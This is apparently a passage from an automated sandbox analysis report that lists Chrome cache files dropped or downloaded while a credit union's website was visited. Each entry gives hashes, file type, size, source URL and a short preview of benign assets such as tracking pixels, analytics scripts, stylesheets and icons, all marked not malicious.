SSDEEP:	3:tGB9gAd:t8Fd
MD5:	91FA5A6A273461AFDAE93B3A5BCEDE1C
SHA1:	310EE5047B16DECFAA1FE1BE379A3BB8876C2462
SHA-256:	32FE6F3381B5896550D3B6B2CF76B8C8BD84855869A1C0955EED9A5DA8F0F8B3
SHA-512:	5C6FB8429BECD003F1924103B5E5ADAE8932DE0E086CF87809B1833056EB3C58794C966CED5CD07B9A133C54582F038B260BAF2ADBC219D177606899E26475FA
Malicious:	false
Reputation:	low
Preview:	bsin cannot be empty

Chrome Cache Entry: 504

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 505

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64347)
Category:	downloaded
Size (bytes):	223733
Entropy (8bit):	5.454805985390715
Encrypted:	false
SSDEEP:	3072:H88WClBUIncVuP0bteuvQ+AMPpgArl0xYu5GKndQ:H8lWBU7O0bvQQGArHu5GKnG
MD5:	7C75053C3DC6FBEF27DB57E11E5C63C4
SHA1:	CAFC7264C0B8224F621BFABAF588905552008D49
SHA-256:	E9C370EA9070B144ED45FF5F35C9206112DD1091326FF898F414EF8C12EC85C0
SHA-512:	92F72DC113DC761AAFB2F630C77773C19029C9C0CB995238281AC5109AAA043940B1E681EB9EEACD8E436141BD97928985B679B1515166227097E4772E1FE1B7
Malicious:	false
Reputation:	low
URL:	https://connect.facebook.net/en_US/fbevents.js
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 506

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.2226627197680635
Encrypted:	false
SSDEEP:	3:CUzRtwv+L1pse:1/se
MD5:	F837AA60B6FE83458F790DB60D529FC9
SHA1:	14AF87CCEC7F81BB28D53C84DA2FD5A9D5925CDA
SHA-256:	DCECAB1355B5C2B9ECEF281322BF265AC5840B4688748586E9632B473A5FE56B
SHA-512:	A85E09C3B5DBB560F4E03BA880047DBC8B4999A64C1F54FBFBCA17EE0BCBED3BC6708D699190B56668E464A59358D6B534C3963A1329BA01DB21075EF5BEDACE
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 507

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5194
Entropy (8bit):	7.885832962204982
Encrypted:	false
SSDEEP:	96:AgcOnAjJcbKMJeIL6DkpPDf6ZTJDWUG7KMicpMWh6G4r:A/OuJmNIENjY4Unc+23u
MD5:	6B8001934E311043947B3DE3C7B4E80C
SHA1:	60A921A7952E102C012C329C88350227D39E4F1C
SHA-256:	B38B747ED9534429B90A6CB039FF885C027CDFC7440A2CA597AA4CB6B211F56F
SHA-512:	0960CE701B6F6800D3038F6B3947A1DA4BD64254DC785E691A4B47026A2EADE1999C90C5AE659FF8E87D46137D321553C416677DBF12C151EBD097DDCC48FCED
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i2!3i6!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=21927
Preview:	.PNG........IHDR.............k.XT....pHYs................oPLTE.............................y\|~............ !$....lqs...TXX......._ch......<=?IJL./2........'f.Y....-).....IDATx....r........K....o\|.......&Q$...V.w.#....&?....G..JP............... .....=..X.._@]..?J.u...m....Q`..&....m.. ...(q.....0R...:(.......s..]@.4...X.z......."....6...s............p.....<....F.wF.&D}..0...y.%..g.4...h...,..k.H.;....g....!..... ......._.0......M.........._7.{....X....-....%.h\.......Wim..k.......W.1x5..4.9...B..W.F`,...8....X..S...M..@....s.k.M3b .z.....?.q..?0.......P...i-....uP.!&...p.z\|4.....tX....{.AK..H.sP....G..#).t$..........HQ....;Z.....m..p.+.<fY.........N.x$.L.H..r.j.hK.,a......:H.@..0dE...g,..-x.y.:.w?.....&l@=o.--1.Q....x`.@.m........cx....H.J.J.......Y.kM........%J.....~.y.....PG.V..^..... ......x..."X..`9..N...$f..}......y.l.n..... "....b`..&. z\|G...(`.4.>.N...0n....5../..B...c.:.R....l.QP.$.........+......I..6O.*.&& ."?............3..@..Zp

Chrome Cache Entry: 508

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	863
Entropy (8bit):	5.390998014821161
Encrypted:	false
SSDEEP:	24:2dgATLf3KobAohHQ/Xg2yYetPkTjFaJkM3yc:cgAvf3KocoxkyYWPajcJb3P
MD5:	79AC9DF6E77B13799E3290451CEF07A4
SHA1:	69435632916B47796CA145FCC8F81EF526F90A38
SHA-256:	736BC1E565EC4534E47C49ABAF1A26BA60CE7738B44E5BCA75FCC2FA50EF27ED
SHA-512:	39511AA0627F0200757BC32C5DE77F2033A6A145E12F9C7819ABA8AF44783643645749CEF8F8F258C12E249E5A9A3B6DAEA94C98B0C96C05DE66A5388045FD48
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 23.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 32 32" style="enable-background:new 0 0 32 32;" xml:space="preserve">.<style type="text/css">...st0{fill:#FFFFFF;}.</style>.<title>credit-check-solid</title>.<path class="st0" d="M29.8,6.4H7.7c-0.6,0-1.3,0.7-1.3,1.3V9h10.8L19,7.1L20.8,9h9.9V7.7C30.7,7.1,30.4,6.4,29.8,6.4L29.8,6.4z"/>.<path class="st0" d="M23.7,12.3L23,13.1L13.5,23h16.3c0.6,0,0.9-0.7,0.9-1.3V11.5h-7.8L23.7,12.3L23.7,12.3z"/>.<path class="st0" d="M15.1,11.5H6.4v3l2.8,2.9L15.1,11.5z"/>.<path class="st0" d="M22.3,12.3L22.3,12.3L22.3,12.3L19,8.9l-9.7,9.9l-4.6-4.8l-3.3,3.6l7.9,7.8C9.4,25.6,22.3,12.3,22.3,12.3z"/>.</svg>.

Chrome Cache Entry: 509

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	5009
Entropy (8bit):	7.905537163401843
Encrypted:	false
SSDEEP:	96:+cLjNbExrSrpcHnyPxW9x3v/mMIPmd2taSuV/KHfNF+QhoD+HzgfyTPQhLGLt5Rk:+WhAxrlHyi9OMKKBSuVQfN8MoD+TbKL9
MD5:	274DE91A357C9F45AE808CE5CC3B3A44
SHA1:	4C4C4F4C5B98E6B149E31C368F750C21C8B3D176
SHA-256:	0F73178E2F09A22DDDB2A3F7C5493CF8FCC9A7792ABA5B1D576C83ACFD5FC5BB
SHA-512:	03729D8E5D695E054503FF81E5452D3DBD24F76F9C7E665732FCDFE3149FD7EBD427D7AB767EB7DEE732A94ABC24E9E0710A7B0C04817900F1A6A6355EDF31C0
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/pig_big_icon_no_circle?qlt=80&wid=320&ts=1714584626018&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................w...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@...S....pixi............av1C........colrnclx...........ipma...................mdat....."'.&..h4 2.$.p.E.Q@.....?..ofg})(.......)X.-..M..@.k....&/.....V.G..<}%...... ......a.......q.A....?..........r..Z...7..}..Q.y..iQP..:..W..A.W.+...?.%.;....xE.M:..6}...%.....f.....vK..Ny1..o..:(..{......t....bP......a,c.v.r......z.Z..P.s.(......;..._..]..O..X.o.xOmZ..Q._qc%.."P.y ..p.d....]....b.H.1...as..'.p.<......H..;f%...^...j....JKg>.D.@W...P....;1..z2..}.8....(.E..@..2.=...6.......L..Z.o......S....9.DttzB.......\|..\|...z.l...U.....w..H..b.....A.]...s)....WM..\y..=yay.`(..W.A.e.]'..7....~..{k~..)..e..r..]j.h.$.J...6K....p...i.k.^."..<}.#..$ .GQE.Gt.".k.y.2.Q...O.2 :....r...+'......U....".\|6.=.MeQ..f2...x..Dm`%..8].O.nZ...q+u?..4..!..Q.p.swo#.E./x...1>Mcj

Chrome Cache Entry: 510

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (928)
Category:	downloaded
Size (bytes):	1760
Entropy (8bit):	5.577935736181565
Encrypted:	false
SSDEEP:	24:hMiRO9wjK0WNVOocXqVDIcF+TRWZlhKEVYLsM/1hw3xuWcgWwWdFWRh9WqMOjq3K:NO2G0P/KIcuwhF2LrIcp5yIqNqMy3w
MD5:	851B0C15B3339DAB30E9A3CB38262E42
SHA1:	11E6B83892E0780B97FEE252D5253FA4FBDB7404
SHA-256:	C22675385D91985C90E26E91338194F56AE8BF1DB5A618FD7F981A7C570A94A9
SHA-512:	B2DEBCE786732FFE4B2E7694A605CC502ED0689333358C2BA7F120A5DAD255ECA8E5734342079F8CD3D0A10FFB5C5A1CE6C0C04D6819DA1825F73BBE186E4257
Malicious:	false
Reputation:	low
URL:	https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent"><script async src="https://cdn.bttrack.com/js/15654/analytics/1.0/analytics.min.js"></script><script>(function(w,d,t,r,u){var f,n,i;w[u]=w[u]\|\|[],f=function(){var o={ti:"25148914", enableAutoSpaTracking: true};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"\|\|(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");</script><script async src='https://tag.simpli.fi/sifitag/601005f1-638d-45e3-9d29-e04168bb80b3'></script><script src="https://js.adsrvr.org/up_loader.1.1.0.js" type="text/javascript"></script>. <script type="text/javascript">. ttd_dom_ready( func

Chrome Cache Entry: 511

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	178
Entropy (8bit):	3.443319403085906
Encrypted:	false
SSDEEP:	3:yionv//thPktklFtE5lxlAyv8/ixd/qllzShlXlNotsup:6v/lhPktk/m5l5jmlajgp
MD5:	DB9564029490754DA8331A03132C5E13
SHA1:	4773BD72BB7443E37E40C9E33820B07A12FF7B26
SHA-256:	0239D84800D90F767050E8E528D7BE59743DB88B3AC79A498BC2077B22F11189
SHA-512:	0E9CF1F2F571D9BDEED654EFD4C40D553372914AC6DF393912073E612448D35E286FE357FEC5EDFAFDCCD533D80536D2EF6BA16259046A775F01EB46DC7D2A8C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE...x......UIDATx......... .O.H.................................................................4....7N.U....IEND.B`.

Chrome Cache Entry: 512

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38795), with no line terminators
Category:	downloaded
Size (bytes):	38795
Entropy (8bit):	5.426267160329418
Encrypted:	false
SSDEEP:	768:x1igQWqjWirPaMC+0rQfJy0DofyDwisCsUl:xc171BDfc0cfUzsDY
MD5:	CBB89E46A99986F5A405C438FAA893E5
SHA1:	C6293D058A791A06C487B3F705F76995BCB3E600
SHA-256:	514E2BC2E043CC749273A19781E5FB2B4000044E87F77F257FC42D48D9D35857
SHA-512:	9D75CB26A2F68E0EEB4075B7B664711843CD4084D08D5AC0433F1D1CE2D3955DBB0E42CB697C0F629D974F71FC764622472D688CA0595E7A5A80AA0C27B2B0FC
Malicious:	false
Reputation:	low
URL:	https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js
Preview:	/! @build 8883887c @date 2024-04-15T21:09:59.545Z /!function(){"use strict";var r={3272:function(n,t,r){var c=r(3328),f=r(4994),d=r(9725),s=r(6610),l=r(4546),v=r(3159).t,m=r(7786);n.exports=function(i,o){var n=new Date,t=f(i.i.z9),r=s(i.o),e=l(r,i.v.zg,n),u=d(r,e,i.g,i.o,i.v,n),a=c(t,u,r,e,i.v.ze,n);return function(n,t,r){if(!o[n])return r(m("unknown action"));r=v(r);try{o[n](r,i,a,t)}catch(e){r(m(e.message,{z10:e.name}))}}}},325:function(n,t,r){var d=r(637).$,s=r(3272),l=r(7754),v=r(8742),m=r(3638),p=r(9336),g=r(7219),$=r(2578),y=r(997),h=r(3159).h,b=r(5814);n.exports=function(n,t,r){var t=h(b,t),e=p(m(n,t,d),{debug:!0}),i={I:!1},o={k:i,v:t,i:n,o:e,D:$(),g:l(e,i)},u=s(o,r),a=[],c=(e("app",g.C,{acid:n.acid,zn:"8883887c",zo:+new Date,zp:1713215399545,ver:o.v.ver,zq:i}),!1),f=function(n,t){switch(n){case"enforceDomNode":o.k.I=!1!==t[0];break;case"setPageViewCallback":"function"==typeof t[0]&&o.D.S(y.A,t[0]);break;case"setNewSessionCallback":"function"==typeof t[0]&&o.D.S(y.T,t[0]);brea

Chrome Cache Entry: 513

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @8x8
Category:	dropped
Size (bytes):	326
Entropy (8bit):	2.5620714588910247
Encrypted:	false
SSDEEP:	6:Gl/0puls6M94pTiI+mBURd8EOJlZa8BBL:C0pqs6M94pTJyOZ77
MD5:	FEFF9159F56CB2069041D660B484EB07
SHA1:	0D0A08CF25A258511957F357B89D3908F3C5E6E3
SHA-256:	7342F390B12F636D14E25F698FC5E38CF6240994DC0C07FEFBBB4E78EC4D03C7
SHA-512:	F850277F48AC14FA363265469776E6F7F07F7DD743AA1D1AD7CF2329EEE6D323DA3422CF6BAAC066C84ECD24800A02088053EF3FC0488D170E7FC942AC8FFA99
Malicious:	false
Reputation:	low
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 514

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
URL:	https://px.ads.linkedin.com/attribution_trigger?pid=5351114&time=1716590800077&url=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html
Preview:	{}

Chrome Cache Entry: 515

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
URL:	https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 516

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36592), with no line terminators
Category:	downloaded
Size (bytes):	36592
Entropy (8bit):	5.086657127270754
Encrypted:	false
SSDEEP:	384:7oHL2yVw9DkEqPQSVCxliwl6DRgiBQsOXI2fcOjA1pi+YXTu4cAFJ2OScjHW0QYy:JxEG+vqbgZYu
MD5:	54874029304E978EBB3F671ED2538561
SHA1:	4FF78755094DE0CBC81EEE1B175BF724D87DE361
SHA-256:	F556F3CD9FA868933E372B71AAB23B272BD0F3420225EC2A64EA0E5F5863384F
SHA-512:	C19E137A82B454D017BD8DF2C31AEF57685F54B7BD9478929C2A3C0C86FD773B56E9E0171F68AD0E2E04BCEE410037BE717D9EF4866AEC850CF81B26FDE97D7C
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-homePage.lc-54874029304e978ebb3f671ed2538561-lc.min.css
Preview:	.breadcrumb{color:#68696a;display:none;font-family:Source Sans Pro,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:14px;font-size:.875rem;font-style:normal;font-weight:400;line-height:1.5}@media screen and (min-width:780px){.breadcrumb{display:block}}.breadcrumb ol{font-size:14px;font-size:.875rem;margin:0;padding:0}.breadcrumb li{display:inline-block;margin-bottom:0}.breadcrumb li a{text-decoration:none}.breadcrumb li+li:before{border-right:1px solid #68696a;content:"";display:inline-block;height:13px;margin:0 2px;transform:rotate(15deg) translateY(2px)}.global-rates-bar{display:flex;flex-direction:column;font-family:Source Sans Pro,Helvetica Neue,Helvetica,Roboto,Arial,sans-serif;margin-left:auto;margin-right:auto;max-width:60.125em}.global-rates-bar:after{clear:both;content:"";display:table}@media screen and (min-width:48.75em){.global-rates-bar{flex-direction:row}}.fullwidth .fullwidth_wrapper>.global-rates-bar:last-child,.fullwidth .fullwidth_wrapper>.global-rates-bar:nth-chil

Chrome Cache Entry: 517

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	863
Entropy (8bit):	5.390998014821161
Encrypted:	false
SSDEEP:	24:2dgATLf3KobAohHQ/Xg2yYetPkTjFaJkM3yc:cgAvf3KocoxkyYWPajcJb3P
MD5:	79AC9DF6E77B13799E3290451CEF07A4
SHA1:	69435632916B47796CA145FCC8F81EF526F90A38
SHA-256:	736BC1E565EC4534E47C49ABAF1A26BA60CE7738B44E5BCA75FCC2FA50EF27ED
SHA-512:	39511AA0627F0200757BC32C5DE77F2033A6A145E12F9C7819ABA8AF44783643645749CEF8F8F258C12E249E5A9A3B6DAEA94C98B0C96C05DE66A5388045FD48
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/_jcr_content/root/homePageZone3/image1.coreimg.svg/1715623189693/credit-check-solid.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 23.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 32 32" style="enable-background:new 0 0 32 32;" xml:space="preserve">.<style type="text/css">...st0{fill:#FFFFFF;}.</style>.<title>credit-check-solid</title>.<path class="st0" d="M29.8,6.4H7.7c-0.6,0-1.3,0.7-1.3,1.3V9h10.8L19,7.1L20.8,9h9.9V7.7C30.7,7.1,30.4,6.4,29.8,6.4L29.8,6.4z"/>.<path class="st0" d="M23.7,12.3L23,13.1L13.5,23h16.3c0.6,0,0.9-0.7,0.9-1.3V11.5h-7.8L23.7,12.3L23.7,12.3z"/>.<path class="st0" d="M15.1,11.5H6.4v3l2.8,2.9L15.1,11.5z"/>.<path class="st0" d="M22.3,12.3L22.3,12.3L22.3,12.3L19,8.9l-9.7,9.9l-4.6-4.8l-3.3,3.6l7.9,7.8C9.4,25.6,22.3,12.3,22.3,12.3z"/>.</svg>.

Chrome Cache Entry: 518

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	174908
Entropy (8bit):	5.087494260357053
Encrypted:	false
SSDEEP:	3072:MvFqzBlnRTJ09sxOQQuA8XrnUXU8URUmU10Bm4mimQVA4AiAA8raI+TW4Wja5YOi:TnRTJ09sxOQQuA8XrnUXU8URUmU10Bmr
MD5:	46FA084F7385BD8FB9A8860F1F8C6368
SHA1:	E9B60F74AB95C405F44D89A89AE1A97FF13103F4
SHA-256:	C5111A152A738880549B7CDF83B5EED2B5DA30AB4C7B54123ECA65642032665A
SHA-512:	6227FC5D82FBC0B2C6F381921A4138477F8230E3552C68FCBDA3953B20272A9F2AC55AD40299CC828C925B8F353EB3D92F9853202D9117233DF1832B6A1E6345
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-fullWidth.lc-46fa084f7385bd8fb9a8860f1f8c6368-lc.min.css
Preview:	@charset "utf-8";.accordion{padding:3em 1em}@media screen and (min-width:62.125em){.accordion{padding:3em 0}}.accordion__item h2.accordion__title,.accordion__item h3.accordion__title{border-bottom:1px solid #68696a;color:#0667ba;cursor:pointer;font-family:Source Sans Pro,Helvetica Neue,Helvetica,Arial,sans-serif;font-size:24px;font-size:1.5rem;font-weight:400;line-height:36px;margin:0;padding:18px 18px 18px 3pc;position:relative}.accordion__item h2.accordion__title .accordion__arrow,.accordion__item h3.accordion__title .accordion__arrow{border:none;margin:0}.accordion__item h2.accordion__title .accordion__arrow:before,.accordion__item h3.accordion__title .accordion__arrow:before{background-color:#0667ba;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'%3E%3Cpath d='M11.8 12V5.5h.6V12h6.4v.6h-6.4V19h-.6v-6.4H5.4V12h6.4z' fill='%23fff'/%3E%3C/svg%3E");background-repeat:no-repeat;background-size:100% 100%;border-radius:50%;content:"";he

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3854
Entropy (8bit):	5.148287847861223
Encrypted:	false
SSDEEP:	48:cBUA8f3iH6fIJr9cYtGwgkRw7QysQ1XW+wTJZ7KXhxSbHn34cXhSb6pF:88fy6IqYtGwisOXU+XhcHnXSOpF
MD5:	02FADFF571244BA22621F6C4E83C55E7
SHA1:	0AF95D7A2AA289065D9A5B3E3266FA7491392E41
SHA-256:	F81AB7424A31BE4A11C28FED04D6CB8D3671E65EC031F11BAAA9AEA5CC6EDE2B
SHA-512:	758FA59238D133BF98C3421423D6AAA09ED8582D9D524E8E06ABF13AD527A4DF1600233E09DE3FB8FDF0C8557FAAD8312FC29158EA79F7CEFAC215E875AE5EC5
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/content/nfcu/active-duty-loan?ts=1713989635276&dpr=off
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 28.2.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 160 160" style="enable-background:new 0 0 160 160;" xml:space="preserve">.<style type="text/css">...st0{fill:#ED780F;}...st1{fill:#FFAA5F;}...st2{fill:#004785;}...st3{fill:#003366;}...st4{display:none;}...st5{display:inline;fill:#FFFFFF;}...st6{display:inline;}...st7{fill:#FFFFFF;}...st8{fill:#EA7923;}...st9{fill:#3B93D0;}...st10{fill:#257ABE;}.</style>.<g id="Layer_1_copy">..<g>...<circle class="st0" cx="80" cy="80" r="80"/>...<path class="st1" d="M80,0v160c44.2,0,80-35.8,80-80S124.2,0,80,0z"/>...<circle class="st2" cx="80" cy="80" r="67.9"/>...<path class="st3" d="M80,12.1v136c37.5,0,67.9-30.4,67.9-67.9C147.9,42.5,117.5,12.1,80,12.1z"/>...<g class="st4">....<path class="st5" d="M78.5,112.4h4.6l0,0v-6.9l0,0c8.9-0.5,15.1-5.8,15.

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	17886
Entropy (8bit):	7.9526308339376675
Encrypted:	false
SSDEEP:	384:s7msp5ciA5CH9JFSsDAKQUHK+e79Q+IKjh+a6G1J7+jZXURO5nB0/87OUd+o:w0PCHVSsDtnEZv9+lGSjSkQ0LdT
MD5:	4CD737BD5BF2BB97CB2B809F343F45D3
SHA1:	3DD7F01004E7ECE9B66D953159F6871C5DE4462A
SHA-256:	FB676B09DB6D3328F05E41A38A16B5481E2D4B752E3B940E6FB68EE151234FDA
SHA-512:	A501C1BB949FD9830D980DAC3ADBFEEA741256CB77E3A344CCCC91AAE59D60B7AC234044ABDC9F64B2E2E6D89D44FF93BF32DACD85CA08E67E0BF14D1FA0C9C1
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i4!3i5!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=24478
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.................................t{{...................................................NRV... !$kqr...................................................._ch...u..X]`..........,.2...9<=...DIH......{..m}.~....jx.............D.IDATx....v.:....KrwwwO......S.{..r...(Y..d.[.....WYx...T....b.v.Y.?.......q............sm.@.ol.K.'..1.-.. .0....D<..%.....j...G..>......C.v0..08.]._p.....2.hV..........>....n...@..'.%B`).47....uZ..:j..{....K...~.^..M..l...S.....0..\.......-9H......Q....G,....'..G."..}.....l~H.._3..._-.z..G.....\..........[.].1._....vT.^.2C.......o.....+.A...Dj.z.....\|%..qQ?r]w...1_....k..o..1.....O.s4k..7...666..z....#..u...&...."O.I.e.~]....?i.D..x....J~E.?.....x/.H<....B.....$..06>..N...N.W.(..-.?.K......}.e..I%$..u.<k.A..q.E:.b.a....w..L{y)x........?o.j.v.(=$...^A`.....%>4xY...h....l......r. ...;.....2.[......p..Kpo...C...#.......I....b5..].>F.

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
